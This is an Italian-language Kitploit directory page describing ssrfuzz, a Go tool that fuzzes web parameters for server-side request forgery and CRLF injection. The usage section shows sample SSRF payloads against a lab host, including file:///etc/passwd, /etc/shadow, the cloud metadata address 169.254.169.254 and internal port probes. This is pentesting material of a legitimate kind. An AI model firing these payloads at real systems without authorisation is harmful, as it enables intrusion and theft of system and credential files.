Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ssrfuzz — SSRFuzz è uno strumento per trovare vulnerabilità di Server Side Request Forgery, con capacità di concatenamento CRLF | Kitploit
Strumenti/GitHubGitHub/ryandamour/ssrfuzz
Scanner di VulnerabilitàSfruttamento di Applicazioni WebSicurezza WebFuzzing
GitHubryandamour/ssrfuzz

ssrfuzz

SSRFuzz è uno strumento per trovare vulnerabilità di Server Side Request Forgery, con capacità di concatenamento CRLF

Vedi Repository
183215 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SSRFUZZ

SSRFuzz è uno strumento per trovare vulnerabilità di Server Side Request Forgery, con capacità di concatenamento CRLF

Perché?

  • Volevo scrivere uno strumento in Golang per la concorrenza
  • Volevo fare fuzzing dei parametri per vulnerabilità SSRF, oltre a fare fuzzing sia dei percorsi che dei parametri per iniezioni CRLF
  • Sono stato ispirato dal lavoro di Orange per concatenare questi tipi di vulnerabilità (https://blog.orange.tw)

Installazione

Esegui il seguente comando per installare

root@kitploit:~
go get -u github.com/ryandamour/ssrfuzz

Utilizzo

root@kitploit:~

  ██████   ██████  ██▀███    █████▒█    ██ ▒███████▒▒███████▒
▒██    ▒ ▒██    ▒ ▓██ ▒ ██▒▓██   ▒ ██  ▓██▒▒ ▒ ▒ ▄▀░▒ ▒ ▒ ▄▀░
░ ▓██▄   ░ ▓██▄   ▓██ ░▄█ ▒▒████ ░▓██  ▒██░░ ▒ ▄▀▒░ ░ ▒ ▄▀▒░ 
  ▒   ██▒  ▒   ██▒▒██▀▀█▄  ░▓█▒  ░▓▓█  ░██░  ▄▀▒   ░  ▄▀▒   ░
▒██████▒▒▒██████▒▒░██▓ ▒██▒░▒█░   ▒▒█████▓ ▒███████▒▒███████▒
▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░ ▒ ░   ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒░▒▒ ▓░▒░▒
░ ░▒  ░ ░░ ░▒  ░ ░  ░▒ ░ ▒░ ░     ░░▒░ ░ ░ ░░▒ ▒ ░ ▒░░▒ ▒ ░ ▒
░  ░  ░  ░  ░  ░    ░░   ░  ░ ░    ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░
      ░        ░     ░               ░       ░ ░      ░ ░    
                                           ░        ░        

===============================================================
SSRFUZZ 1.2
di Ryan D'Amour @ryandamour 
===============================================================Uno scanner per tutte le tue esigenze di Fuzzing SSRF

Utilizzo:
  ssrfuzz scan [flags]

Flags:
  -b, --call-back string       Aggiungi callback per fuzzing SSRF (es: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
  -c, --cookie string          Cookie da usare per le richieste
      --crlf-path              Aggiungi payload CRLF a tutti i percorsi disponibili (es: site.com/%0Atest.php)
      --delay int              Il tempo che ogni thread attende tra le richieste in millisecondi (default 100)
  -d, --domains string         Percorso del file con domini e parametri da scansionare
  -h, --help                   help per scan
  -x, --http-method string     Metodo HTTP - GET o POST (default "GET")
  -o, --output string          Percorso dove salvare i risultati
      --skip-crlf              Salta fuzzing CRLF
      --skip-network           Salta fuzzing di rete
      --skip-scheme            Salta fuzzing degli schemi
  -s, --slack-webhook string   Webhook Slack per inviare risultati a un canale
  -t, --threads int            Numero di thread su cui eseguire ssrfuzz (default 50)
      --timeout int            Il tempo necessario per chiudere una connessione che potrebbe rimanere in sospeso (default 10)
  -u, --user-agent string      User agent per le richieste (default "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
  -v, --verbose                output verbose
root@kitploit:~
Utilizzo: 
echo "http://url_to_fuzz" | ssrfuzz scan
cat file_of_domains.txt | ssrfuzz scan
ssrfuzz scan -d file_of_domains.txt
root@kitploit:~
* Scansione di payload http e scheme con crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan
 
[!] Corrispondenza payload schema:
* http://192.168.1.10/test.php?u=file://etc/passwd 200

[!] Payload interessanti trovati
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500

[!] Payload interessanti trovati
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
root@kitploit:~
* Scansione solo payload http con crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme

[!] Payload interessanti trovati
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
root@kitploit:~
* Scansione solo payload http senza crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf

[!] Payload interessanti trovati
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
root@kitploit:~
* Scansione solo payload scheme senza crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf

[!] Payload interessanti trovati
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500

Contribuire

I pull request sono benvenuti. Per modifiche sostanziali, apri prima un issue per discutere cosa vorresti cambiare.

Assicurati di aggiornare i test appropriati.

Licenza

MIT

Sponsorizzato da

Stage2Security alt text

Scarica lo strumento